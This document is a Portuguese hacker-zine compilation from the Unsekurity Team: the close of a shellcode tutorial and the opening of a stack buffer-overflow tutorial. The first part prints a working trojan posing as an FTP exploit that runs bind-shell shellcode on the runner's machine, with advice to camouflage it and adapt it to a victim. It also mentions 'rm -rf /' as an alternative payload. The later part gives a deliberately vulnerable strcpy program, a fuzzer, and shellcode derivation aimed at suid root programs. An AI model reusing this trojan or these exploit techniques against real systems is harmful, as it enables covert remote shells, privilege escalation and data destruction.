#include
#include
#include
#include
#include
#include
#include

char shellcode[]=
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

void trojan();
main(int argc, char *argv[]){
char *vitima;
int Meusocket;
struct hostent *he;
struct sockaddr_in lascado;
if(argc < 2){
printf("Uso: %s \n",argv[0]);
exit(0);
}

vitima = argv[1];

he = gethostbyname(vitima);
if (he < 0){
printf("Host Desconhecido mano!!\n");
exit(1);
}
Meusocket = socket(AF_INET, SOCK_STREAM, 0);
if(Meusocket < 0){
fprintf(stderr,"Erro no socket mano!!\n");
exit(1);
}
lascado.sin_family = he->h_addrtype;
lascado.sin_port = htons(21);
lascado.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(lascado.sin_zero), 8);
if(connect(Meusocket,(struct sockaddr * )&lascado, sizeof(lascado)) ==0){
printf("Erro em connect() mano!!\n");
close(Meusocket);
trojan();
}
else {
printf("Falha no overflow mano!!\n");
close(Meusocket);
}
void trojan(){
int *retorno;
retorno = (int *)&retorno +2;
  (*retorno) = (int)shellcode;

}
-----------------------------------------------------------------

Eh obvio e evidente que este trojan pode ser melhorado, mas coloquei ele simples
assim, soh para dar uma ideia do perigo que eh voce executar exploits dos outros
sem  ter  conhecimento   de  no  minimo   o  que  estarah   sendo  executado  no
programa.Qualquer um com poucos conhecimentos  em C veria que as  ultimas linhas
sao suspeitas, mas e quanto ao shellcode, que vem parecido em muitos exploits???
Os kiddies executam algo sem nem mesmo ter ideia do perigo.O trojan acima abre a
porta  30464, que  jah eh  amplamente difundida  nesse exemplo  de shellcode  na
internet, mas ela pode facilmente ser alterada, e entre as dividas que deixarei,
eh explicar passo por passo, a escrita e funcionamento deste shellcode. Se  voce
tem alguma vitima, voce terah que adaptar esse exploit, mas fica aih o conceito,
voce poderia muito bem  alterar o conteudo, camuflar  a funcao trojan, ou  mesmo
inserir o codigo dentro de main,  existem dezenas de formas de se  melhorar isso
aih em cima, coloquei simples porque nao quero ser responsavel por nada!!Escrevi
esse  trojan  apenas  com  proposito  educacional!!Nao  me  responsabilizo   por
eventuais danos  que alguem  pode gerar  com o  uso dele!!!  Outra ilustracao do
perigo que os  kiddies passam quando  executam exploits dos  outros, eh executar
exploits como root.Alguem poderia muito bem fazer um trojan igual a este, mas ao
inves de abrir uma porta com shell, executaria um comando como por exemplo: " rm
-rf /".  Isso eh  um aviso  para aquele  pessoal que  pensa que entrar para esse
mundo underground eh brincadeira!!!

Pretendo  em tutoriais  futuros disponibilizar  shellcodes quase  tao perigosos
quanto este,  vai depender  de alguns  fatores.Voce jah  deve estar contemplando
muitas teorias amigo..:)...Mande brasa.

Tou devendo a solucao de muitas coisas que ficaram pendentes aqui, como executar
comandos de tamanho maior  de /bin/ls ou /bin/sh.  Tambem tou devendo uma  maior
insercao em shellcodes contra filtros. Um shellcode para acrescentar usuario  ou
usuarios num  passwd.Muita coisa  boa, em  breve, estarah  disponivel para  voce
amigo.Fique  atento  a home  page  do grupo  Unsekurity  Team, estaremos  sempre
disponibilizando tutoriais e textos diversos de nivel, voltado mais a galera que
de fato quer aprender.

Espero que os exemplos tenham ficado claros,  e que sirvam de algum modo a  voce
nessa longa jornada que estamos fazendo.

----------------
8 - TERMINANDO  |
----------------

Ultimo capitulo dessa nossa fase inicial de escrita de shellcodes, nada mais que
uma breve despedida.

8.1 DIFERENCAS ENTRE A SINTAXE AT&T E A SINTAXE INTEL
-------------------------------------------------------

* Os nomes dos registradores sao precedidos por "%" , alguns exemplos sao:
%eax, %ebx, %ecx, %edx, %esi, %edi e %ebp, que correspondem a ax,bx,cx,dx
si,di e bp na sintaxe INTEL.

* Na sintaxe INTEL, primeiro vem o destino, depois a fonte(source) ou
origem.Exemplo: mov ah,002. Na sintaxe AT&T eh o inverso primeiro vem a
fonte ou origem(source), e no fim o destino, exemplo: movl $2, %eax

* Operandos imediatos sao marcados com um prefixo $, como em addl $3,%eax
  (adiciona valor 3 p/ registrador %eax).

* O tamanho do operando eh especificado com um sufixo do tipo da instrucao.
  O sufixo eh b para byte(8 bits), w para word(16 bits), e l para long(32
  bits).Exemplo: movw %dx,%ax. Todavia, em muitos sistemas, na sintaxe
  AT&T, o uso desses sufixos sao opcionais, onde por padrao eh long, ou
  32 bits.

* A falta de prefixo p/ um operando indica que ele eh um endereco de
  memoria. Como vimos movl $foo,%eax coloca o endereco da variavel
  foo no registrador %eax, mas movl foo,%eax coloca o conteudo da variavel
  foo no registrador %eax.

8.2 - Links e Referencias
---------------------------

Sao  varias  as  referencias  usadas  para  a  escrita  deste  tutorial, algumas
compilacoes  minhas aqui  mesma, foram  usadas, coisas  bem antigas,de  qualquer
forma, as referencias abaixo podem e devem ser uteis para um Newbie.

"Smash The Stack For Fun e Profit" - PHRACK 49-14, by Aleph 0ne.
 Pode ser obtido em : www.phrack.com
		      www.2600.com/phrack/

"Advanced Buffer Overflows" - Taeho Oh.
Pode ser obtido em: http://postech.edu/~ohhara
		    www.securityfocus.com
	 	    http://packetstorm.securify.com

"Curso de assembly" - Frederico Pissarra.
Pode ser obtido em: www.assembly.8m.com

"Turbo C Avancado" - Herbet Schildt. Editora: McGraW-Hill

Alguns links onde voce pode obter mais informacoes sobre assembly:

www.assembly.8m.com
www.ice-digga.com/programmig/bmp.html
www.strangecreations.com/library/assembly/tutor
www.nuvisionmiami.com/kip/asm.htm

8.3 - Consideracoes Finais
---------------------------

Bem amigo, aqui eh soh bobagem, se  nao tiver disposto, pode fechar o editor  de
texto ou o browser,  ou qualquer programa que  esteja usando para ler  isso, bem
como o caderno ou folhas de papel. Escrever tutoriais voltados para Newbie eh ao
mesmo  tempo  gratificante  e  dificil.Gratificante  porque  dah  a  sensacao de
estarmos empurrando uma gigantesca roda  de informacoes, num constante ciclo  em
busca de  maior liberdade  de informacao,  bem como  de troca de informacoes.Sao
poucos os textos sobre  escrita de shellcodes em  portugues, nao quero com  isso
desmerecer os que os fizeram, ao contrario, sou grato sim a esse pessoal que  de
fato contribui ou contribuiu durante algum tempo para que esta roda  continuasse
girando.Mais uma vez  direciono umas palavras  a "elite" de  fucadores nacional,
ateh quando???  Vemos muitos  garotos fazendo  bobagens como  mudar home pages e
etc, mas de quem eh a culpa?? Se existem culpados, nao quero acusar o pessoal da
seguranca, pois o pessoal  da seguranca tem se  mostrado fraco porque ateh  hoje
soh se depararam  com garotos que  no maximo derrubam  um provedor ou  mudam uma
home page, mas todos nos sabemos  que por tras das cameras tem  crackers capazes
de fazer o que quiserem com sistemas que valem milhoes, tendo acesso a todo tipo
de informacao, desde  cartoes de creditos,  ateh mesmo projetos  que podem valer
milhoes ou mesmo destruir milhoes.Nao gosto de crackers, e nao eh para eles  que
escrevo, sei que aqui no pais,  existem pessoas com decadas, isso mesmo,  muitos
anos de hacking, mas que se encontram quietos.Cada um possui o direito de agir e
pensar da forma que quiser, mas quando os kiddies mudam uma home page e a  midia
cai em  cima, chamando-os  de "hackers",  creio que,  de uma  forma ou de outra,
esses que se  encontram quietos tambem  sao culpados por  tal situacao.Isso tudo
jah aconteceu lah fora, tah acontecendo aqui, os mais espertos sabem no que isso
vai dar  e jah  estao se  precavendo.Depois de  muitos anos  resolvi aparecer no
cenario porque de fato temo que hackers  que verdade paguem o preco pelo que  os
kiddies e  crackers(sabemos que  existem e  ateh quem  sao) andam fazendo.Nao se
apavorem quando pintar uma operacao nos moldes da Sun Devil aqui no pais, porque
temos ateh entao sido cumplices do jogo que a "seguranca" tem tramado.

Manifesto a  parte, gostaria  de agradecer  ao pessoal  que tornou possivel este
tutorial, sao tantas pessoas, mas se esqueci de alguem, espero a compreensao  do
mesmo, o tempo continua a ser meu inimigo.

Thanks Magic Kiss, module, raynox, xf86config, psych, e-brain, cs0,
       t[rex], Blind_Bard, Dinamite_, d3m3ns, CeZiNHa, meu grande amigo
       zip, thunderoffire, ocorvo, arse, kaervek, cdma, Matt_Salermo,
       Thanath0s e aos demais grupos que contribuem mundialmente
       para que haja maior liberdade de informacao.

Fiquem  atentos a  home page  do Unsekurity  Team, novos  materias devem  estar
disponiveis por estes dias.Sem mais.

				       Nash Leon vulgo coracaodeleao.

------------------------------ EOF -------------------------------------

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 14 ]=-=[ Básico Buffer Overflow ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#############################################################################
########################### UNSEKURITY TEAM #################################
#############################################################################

IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br

                               OVERFLOWS

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

Segmentation Fault!

Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
Thanks Magic kiss e Unsekurity Team.
Voce pode encontrar este e outros textos em:
http://unsekurity.virtualave.net/

AVISO:  NAO NOS RESPONSABILIZAMOS PELO MAU USO DAS INFORMACOES AQUI CONTIDAS,
        ESSAS INFORMACOES TEM SOMENTE PROPOSITO EDUCACIONAL.NADA DE BOBAGENS!

Sao varios os pre-requisitos p/ a leitura e o entendimento desse arquivo  texto.
Vamos partir do pre-suposto que voce sabe programar em C, conhece bem o  sistema
operacional linux, pois como muitos, esse txt estah voltado somente p/  sistemas
operacionais linux,  digo sistemas,  porque hj  em dia  ha muita diferenca entre
Slack, Debian  e REd  sux. Faz  necessario um  conhecimento basico  de assembly,
existe um texto voltado justamente p/  a programacao de shellcodes na home  page
citada acima que  poderah ajudar, mas  eh bom ter  em mente mais  material sobre
assembly.Mais uma vez, esse  txt eh voltado p/  "Newbies", se voce eh  elite vah
procurar outro material,  as teorias aqui  nao serao aproveitadas  por voce,caso
seja elite!!!Como nos  demais txts que  escrevi, vou tentar  ser o mais  pratico
possivel, e nesse nao serah diferente. Se quiser se aprofundar mais no  assunto,
no  fim  desse  txt  colocarei  alguns  links  onde  vc  poderah  encontrar mais
informacoes sobre esse tao fascinante  assunto.Eu iria me aprofundar ao  maximo,
mas o velho inimigo conhecido como  tempo tem me vencido em muitas  batalhas, de
modo que  pretendo nesse  txt ficar  no basico  do basico,  mas jah tem material
futuro sendo preparado.Espere e verah!

Bem,depois de toda essa ladainha,vamos trabalhar.

------------------------------- INDICE -----------------------------------

1.INTRODUCAO
  1.1  O que eh um buffer overflow
  1.2  Tirando proveito
  1.3  Modelo usual de memoria
2.O STACK OU A PILHA
3.SHELLCODE
  3.1 Shellcode /bin/sh
4.FAZENDO UM STACK OVERFLOW
5.PROBLEMAS COM EXPLOITS
6.O HEAP - A NOVA ERA??
  6.1 Alocacao dinamica em C
7.HEAP OVERFLOW
8.O PROJETO OMEGA
9.PROCURANDO FUROS
10.TERMINANDO
   10.1 Links e Referencias
   10.2 Consideracoes Finais
---------------------------------------------------------------------------

----------------
1. - INTRODUCAO |
----------------

Buffer overflows nao eh  coisa nova.Comenta-se que desde  a decada de 70  jah se
tinha ideia do potencial desse problema, os programas em C estavam se  firmando,
e a medida  que o tempo  passava, os programadores  iam crescendo em  numero,mas
diminuindo em cuidados.No entanto, a popularizacao dessa tecnica soh se efetivou
com a chegada do "poderoso worm" de Robert Morris, comecava uma nova geracao  de
problemas p/  os administradores  de redes,  essa popularizao  dessa tecnica foi
muito gradual, poucos eram os  documentos disponiveis,fazendo com que a  "elite"
mantivesse o controle  total dela, mas  como nem tudo  dura p/ sempre,  em 1994,
surgem  reforcos no  intuito de  massificar os  conhecimentos nessa  area, isso
culmina  com  os excelentes  textos  feito pela  PHRACK  e pelo  pessoal  da The
Hacker's Choice.A realidade disso tudo,  eh que ainda hoje ocorrem  muitos erros
de programacao,surgem novas ferramentas que  se dizem "capazes" de nao  permitir
mais um stack overflow, bem como novos programas que procuram bugs, e ateh mesmo
fazedores de shellcodes.Voce deve estar  se perguntando, se tem tudo  isso,estou
perdendo  meu  tempo  lendo  isso  aqui??Assim  como  muitos,eu  era  um  grande
dependente de fucadores de fora, ficava  agindo igual a um kiddie, ateh  que num
belo dia, surgiu um bug fantastico  que estava sendo explorado por pouca  gente,
mas  como eu  era dependente  e ninguem  era louco  p/ publicar  o programa  que
explorava esse bug,eu percebi que se eu dependesse dos outros,jamais poderia  de
fato  ter  acesso  a sistemas  grandes,bem  como  poder um  dia  ser  chamado de
fucador.O que eu disse eh o rumo  natural das coisas, se chegou ateh aqui,  deve
ser porque  quer caminhar  mais longe,fazer  seus proprios  exploits,e descobrir
bugs por conta propria,  espero que esse txt  seja util p/ alguem,  quem dera eu
tivesse um desse quando comecei a pesquisar sobre isso!!

---------------------------------------------------------------------------

--------------------------------
1.1 O QUE EH UM BUFFER OVERFLOW |
--------------------------------

Os programas  que manipulam(recebem)  variaveis necessitam  de buffers,  que sao
locais na memoria onde sao guardados os dados que as variaveis recebem, no nosso
caso.Quando se declara num  programa uma variavel com  tamanho X, e na  execucao
desse programa essa variavel termina recebendo dados maiores que X, entao ocorre
o que chamamos de "BUFFER OVERFLOW".Quando isso ocorre,na maioria da vezes, voce
receberah uma "Segmentation Fault", isso poderah servir como pista, pois  muitas
vezes  quando isso  ocorre, o  programa executado  poderah ser  vulneravel a  um
buffer overflow.Um exemplo pratico de uma vulnerabilidade deste tipo eh mostrado
abaixo:

/* PROGRAMA BUGADO - EXEMPLO PRATICO P/ TXT SOBRE OVERFLOWS
Compile com $gcc -o bug1 bug1.c */

#include
#include

main(int argc, char *argv[]){
char buffer[512];
if(argc < 2){
printf("Programa bugado!!\n");
printf("Uso: %s \n",argv[0]);
exit(0);
}
strcpy(buffer,argv[1]);
printf("Voce digitou %s!!\n",buffer);
return 0;
}

Este eh o exemplo  mais classico que existe.A  funcao strcpy() copia o  que voce
digitar na linha de comando(argv[1]) p/ o buffer declarado (buffer) e como  esta
funcao nao faz checagem de tamanho, entao bomba!!
Esse programa eh vulneravel a um buffer overflow.
Teste ele digitando mais de 512 bytes em argv[1].Uma forma pratica seria:

[localhost: /]$./bug1 `perl -e 'printf "A" x 530'`

Se nao possui perl instalado tente na mao mesmo:

[localhost: /]$./bug1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

Um monte de As.

Ou se preferir, use o programa abaixo:

---------------------------------------------------------------------

/* Simples programa para ver se determinado
   programa eh vulneravel a um buffer overflow.
   Desenvolvido por Nash Leon e Unsekurity Team.
   Thansk Ramona.
*/

#include
#include

/* Altere o PATH conforme o local que se encontra o arquivo bugado, bem
   como  o tamanho que iremos usar p/ sobrescrever o buffer */

#define   PATH      "/tmp/bug1"
#define    A         0x41
#define   TAMANHO    600

main(int argc, char *argv[])
{
int i;
char *buffer = (char *)malloc(TAMANHO);

memset(buffer, A, TAMANHO-1);
printf("Enchendo o buffer com caracter A !\n");
execl(PATH,"bug1",buffer,0);
}
----------------------------------------------------------------------

Isso eh soh um programa exemplo, voce pode alterar ele e fazer dele um  checador
de todo e qualquer programa que utilize a linha de comando para pegar argumentos
para uma variavel.Fica aih a concepcao, talvez divulgue em breve algo melhor que
possuo em maos.

Verifique a resposta que surgirah 'Segmentation fault'.Isso serah bastante comum
durante nosso estudo.

Vamos analisar varios codigos usando  a ferramente gdb (Debugador GNU).  Se voce
nao tiver,ele  eh um  software gnu(super  gratuito!!!) voce  poderah acha-lo  em
qualquer mirror de softwares ou distribuicoes linux que se preze. www.gnu.org  ;
ftp://ftp.cdrom.com/pub/gnu.Veremos agora como tirar proveito disso tudo.

-----------------------
1.2 - TIRANDO PROVEITO |
-----------------------

Sabemos entao quando ocorre um buffer overflow,quando colocamos mais dados que o
programa  pode  suportar.Mas  qual  o intuito  disso  tudo?  Um  programa quando
executado possui algumas particularidades,  dentre elas destaca-se um  artificio
usado na computacao p/ que apos o termino da execucao desse programa, o  sistema
retome  ao estado  que se  encontrava antes,  o nome  dado a  este artificio  eh
"retorno".Mas  para   que  isso   possa  acontecer,   faz-se  necessario  alguns
procedimentos:  Primeiro,   salva-se  o   endereco  na   memoria  referente   ao
retorno(endereco de retorno) no stack, se a execucao normal do programa termina,
o CPU irah  saltar(jmp) para o  endereco de retorno(return  address) e continuar
normalmente.Mas se  alterarmos a  execucao normal  do programa  usando um buffer
overflow  a  coisa  muda,se  escrevermos  mais  dados  em  uma  variavel  e esse
enchimento alcancar e sobrescrever  a regiao da memoria  onde estah o codigo  de
retorno entao ocorre o chamado  "overflow".Fazendo isso poderemos mudar o  curso
de um  programa, inserindo  codigos nossos  capazes de  executar comandos como o
dono do  programa(nosso alvo  serao as  suid root,  programas do  superusuario),
entao alterando o endereco de retorno, poderemos fazer com que nosso codigo  que
estah  seguindo  num argumento  de  uma funcao  p/  encher um  buffer  possa ser
executado.
Mais abaixo seguirao melhores explicacoes de como se fazer isso.

------------------------------
1.3 - MODELO USUAL DE MEMORIA |
------------------------------

O  modelo usual  de memoria  difere de  sistema para  sistema.Em Linux/i186  ela
possui modelo flat de 32 bit.Um  programa pode ser dividido em secoes.As  secoes
sao .text para seu codigo, .data para seus dados, .bss para dados indefinidos.Os
programas devem ter no minimo a secao .text.
Um esquema para visualizacao disso seria:

                        -------------------
                       |       .DATA       |
                       | (Stack e Heap)    |
                        -------------------
                       |       .BSS        |
                       |      (Heap)       |
                        -------------------
                       |       .TEXT       |
                        -------------------

Como vimos  acima, eu  coloquei as  respectivas regioes  onde ocorrem  overflows
relacionados.Stack overflows ocorrem na regiao .data, heap tambem pode ser usado
p/  sobrescrever  essa  regiao  (.data),   mas  eh  usualmente  mais  usado   p/
sobrescrever a regiao .bss.
Se voce leu o texto sobre  programacao de shellcodes na page do  Unsekurity Team
verah que nao eh mera coincidencia..:)
As regioes onde ocorrem  os overflows serao estudadas  com mais detalhes mais  a
frente.Quanto a regiao .TEXT,  como dito acima, ela  eh a reponsavel por  conter
segmentos de codigos,os  dados nesse segmento  sao instrucoes em  assembly que o
processador executa.Veremos embaixo um outro  modelo usual, soh que para  uso de
memoria em C.

        Alta
                 ---------------
                |     Stack     |
                 ---------------
                |               |
                | Memoria Livre |
                | para alocacao |
                |    (heap)     |
                |               |
                 ---------------
                | Var. globais  |
                 ---------------
                |               |
                |   Programa    |
                |               |
                 ---------------
        Baixa

Essa eh uma  visao conceitual do  uso de memoria  no C, o  que temos que  ter em
mente, e  o que  mais nos  importa no  momento, eh  diferenciar as  regioes onde
ocorrem os dois tipos de overflows que serao descritos aqui, a regiao Stack e  a
regiao Bss onde podemos fazer heap overflows. Lembrando tambem que isso tudo aih
eh imaginario, nao vah pensando que eh um quadradinho perfeitinho que vai  sendo
enchido nao!!

------------------------------------------------------------------

---------------------
2. O STACK OU A PILHA|
---------------------

A  regiao   conhecida  como   STACK  ou   pilha,  eh   responsavel  por  receber
dados(argumentos)  e  passa-los  p/   as  funcoes.Essa  regiao  possui   tamanho
relativo(muda quase sempre).O nome que se dah a essa regiao(STACK) eh porque ela
pode ser comparada a uma pilha, onde voce vai enchendo ela de dados, soh que ela
possui uma  particularidade.Essa particularidade  consiste em:  O ultimo  dado a
entrar serah  o primeiro  a sair,  chamamos isso  de LIFO  - last  in, first out
(ultimo a  entrar,primeiro a  sair). Na  medida em  que eh  usado, o  Stack ou a
pilha,chamarei de Stack, cresce p/  baixo, sendo assim, a quantidade  de memoria
necessaria eh determinada da maneira como o programa foi projetado.Por  exemplo,
um programa com muitas funcoes recursivas utiliza mais memoria  no Stack do  que
um  programa  sem funcoes  recursivas,  justamente porque  variaveis  locais sao
armazenadas  no  Stack.A  parte  necessaria  para  o  programa  e  as  variaveis
globais(citadas no esquema de memoria acima), eh determinada durante a  execucao
do programa.
Uma  pilha(Stack) eh  o contrario  de uma  fila,porque usa  o acesso  "ultimo a
entrar,  primeiro  a  sair", denominado  LIFO.Para  visualizar  um Stack,  basta
imaginar uma pilha de pratos.O prato da base do Stack eh o ultimo a ser usado  e
o  prato  do topo,  o  primeiro.Stacks sao  geralmente  utilizados em  softwares
basicos, incluindo  compiladores e  interpretadores.Geralmente o  C usa  o Stack
quando passa  parametros(argumentos) as  funcoes.Dois comandos  em assembly  sao
usado  para  enviar   e  retirar  dados   do  Stack,  sao   eles  push  e   pop,
respectivamente.

Veremos abaixo o esquema de um Stack em acao:

         Acao                   Conteudo do Stack
        ------                ---------------------

       push(A)                          A
       push(B)                          A  B
       push(C)                          A  B  C
       pop()  /* retira o ultimo */     A  B
       push(N)                          A  B  N
       pop()                            A  B
       pop()                            A
       pop()                            /* vazio */

Vemos acima o esquema da LIFO - ultimo a entrar,primeiro a sair.
Isso eh mais do que o suficiente,  espero que tenha ficado claro as coisas  para
voce,amigo!!Vamos esquentar mais as coisas.

-------------
3. SHELLCODE |
-------------

Eu fiz um txt sobre escrita de shellcodes e voce pode encontrar ele na home page
citada acima.Ele eh bem completo e  ensina ateh um basico sobre assembly,  entao
amigo,   se  quiser   obter  mais   dados  sobre   isso,  olhe   na  home   page
"http://unsekurity.virtualave.net/", procure esse  texto porque lah  possui mais
informacoes basicas e detalhadas sobre a escrita de shellcodes. Mas nesse  daqui
darei uma breve explicacao sobre eles e o porque de se usa-los.
No exemplo inicial, o do capitulo 1.1,  vimos como encher um buffer com As,  mas
isso nao eh proveitoso,o que se poderia fazer com isso eh tao somente  conseguir
um DoS(Denial of  Service) em servicos  remotos p/ intuitos  nada simples.Tambem
vimos no  capitulo 1.2  que podemos  sobrescrever o  endereco de  retorno(return
address).Se podemos fazer isso tudo entao devemos raciocinar, ao invez de  tacar
um monte de As, por que  nao colocarmos codigos de maquina para  executar alguma
coisa, jah que podemos sobrescrever o endereco de retorno p/ apontar para  algum
lugar na  memoria aonde  estah inserido  nosso codigo??  Exato!!Isso nao  soh eh
possivel como eh um fato!!Nao tenho conhecimento do cara que descobriu  isso,mas
deve-se muito a ele!
Sobrescrevendo o endereco de retorno fazendo-o apontar p/ o inicio de um  codigo
nosso,  podemos  executar  o  codigo  como  se  fossemos  o  dono  do   programa
bugado!!Geralmente se procura bugs em programas com suid root ou mesmo em  sgid,
que  nos  dao  boas  permissoes.Digo isso  porque  em  breve  descreverei alguns
esquemas para banco de dados tambem, coisas um pouco diferentes, fique ligado!:)
Bem como dito,  o codigo que  geralmente usamos, eh  chamado de shellcode,  pois
executamos  ele  como se  fosse  uma linha  de  comando.Descreverei aqui  alguns
shellcodes,mas nesse texto especifico sobre shellcodes dito acima,  encontram-se
mais exemplos.
Na  maioria das  vezes, em  exploits locais,  tudo que  queremos eh  executar o
comando "/bin/sh" ou "/bin/bash" como  se fosse root.Abaixo segue um  esquema de
shellcode para um desses citado:

3.1 - SHELLCODE /BIN/SH
------------------------

Esse  existe por  aih e  eh amplamente  difundido,tentarei ser  bem pratico  ao
descrever  como  se  criar  um shellcode  deste  tipo,lembrando,  nesse  txt nao
ensinarei  nada sobre  assembly, se  quiser aprender  algo,leia o  outro. Vamos
lah,veremos agora o codigo em C responsavel pela execucao desse dito cujo:

/* Comecando a criar um shellcode */

#include
main(){
char *comando[2];
comando[0]="/bin/sh";
comando[1]=NULL;
execve(comando[0],comando,NULL);
}

Compilamos esse programa da seguinte forma usando gcc:
[localhost:/]$gcc -o shell -static -ggdb shell.c

Apos compilarmos o mesmo, usamos o gdb para analisar seu codigo em asm:

[localhost:/]$ gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

Em seguida digitamos "disassemble main", para que o gdb nos forneca o
codigo da funcao main em linguagem assembly.Veremos:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     sub    $0x8,%esp
0x8048156 :     movl   $0x8058b28,0xfffffff8(%ebp)
0x804815d :    movl   $0x0,0xfffffffc(%ebp)
0x8048164 :    push   $0x0
0x8048166 :    lea    0xfffffff8(%ebp),%eax
0x8048169 :    push   %eax
0x804816a :    mov    0xfffffff8(%ebp),%eax
0x804816d :    push   %eax
0x804816e :    call   0x80483fc
0x8048173 :    add    $0xc,%esp
0x8048176 :    mov    %ebp,%esp
0x8048178 :    pop    %ebp
0x8048179 :    ret
End of assembler dump.
(gdb)

Vamos analisar com calma cada linha disso daih.

0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     sub    $0x8,%esp

Essa tres primeiras linhas correspondem ao processo inicial ou
procedimento preludio.O que essas linhas fazem, primeiro eh salvar o
frame pointer antigo, em seguida faz do atual stack pointer o novo frame
pointer(mov %esp,%ebp), logo apos autoriza espaco para as variaveis
locais, onde no nosso caso eh:
char *comando[2];

Lembrando que ponteiro eh uma word long, entao ele autoriza espaco para
duas words ou 8 bytes como vimos(sub $0x8,%esp).Continuando:

0x8048156 :     movl   $0x8058b28,0xfffffff8(%ebp)

Essa gigantesta linha aih nao tem nada de complexo como parece,o que
estah sendo feito aih eh a copia do endereco da string "/bin/sh"(valor
0x8058b28) sobre o primeiro ponteiro de comando[] (0xfffffff8(%ebp)).
Isto equivale a: comando[0] = "/bin/sh". Continuando:

0x804815d :    movl   $0x0,0xfffffffc(%ebp)

O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL,
sobre o segundo ponteiro de comando[].Isto eh equivalente a:
comando[1] = NULL; em nosso codigo shell.c acima.Continuando:

0x8048164 :    push   $0x0

Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando,
o programa empurra os argumentos de execve em ordem inversa(do ultimo
argumento para o primeiro) sobre o stack.Acima vimos que comeca com
0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL);
Eh a este NULL que estamos nos referindo.Continuando:

0x8048166 :    lea    0xfffffff8(%ebp),%eax

Aqui ocorre o carregamento do endereco de comando[] sobre o registrador
EAX.Continuando:

0x8048169 :    push   %eax

Esse nao possui segredo, o que ocorreu foi que empurramos o endereco
de comando[] que havia sido previamente carregado no registrado EAX
sobre o Stack. Continuando:

0x804816a :    mov    0xfffffff8(%ebp),%eax

Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador
EAX.Continuando:

0x804816d :    push   %eax

Novamente a funcao push(), que nos diz dessa vez que estamos empurrando
os dados do registrado EAX, que nesse caso eh o endereco da string
"/bin/sh", sobre o Stack.Continuando:

0x804816e :    call   0x80483fc

Aqui acontece o seguinte, ocorre a chamada a biblioteca de procedimentos
execve(), ou simplesmente a chamada propriamente dita da funcao execve().
A instrucao chamada empurra o IP(Index Pointer) sobre o Stack.
Lembrando que apos a execucao de execve(), nosso programa termina, entao
as linhas abaixo seguem para voltar as rotinas anteriores:

0x8048173 :    add    $0xc,%esp
0x8048176 :    mov    %ebp,%esp
0x8048178 :    pop    %ebp
0x8048179 :    ret

Ocorre aih em cima o seguinte, eh o processo de saida, retorna o velho
frame pointer, faz dele o stual stack pointer em seguida esvazia a pilha
com pop. e ret retorna p/ o sistema.

Agora analisaremos a funcao execve();

(gdb) disassemble execve
Dump of assembler code for function execve:
0x80483fc :     push   %ebp
0x80483fd :   mov    %esp,%ebp
0x80483ff :   push   %ebx
0x8048400 :   mov    $0xb,%eax
0x8048405 :   mov    0x8(%ebp),%ebx
0x8048408 :  mov    0xc(%ebp),%ecx
0x804840b :  mov    0x10(%ebp),%edx
0x804840e :  int    $0x80
0x8048410 :  mov    %eax,%edx
0x8048412 :  test   %edx,%edx
0x8048414 :  jge    0x8048426
0x8048416 :  neg    %edx
0x8048418 :  push   %edx
0x8048419 :  call   0x8050b28 <__normal_errno_location>
0x804841e :  pop    %edx
0x804841f :  mov    %edx,(%eax)
0x8048421 :  mov    $0xffffffff,%eax
0x8048426 :  pop    %ebx
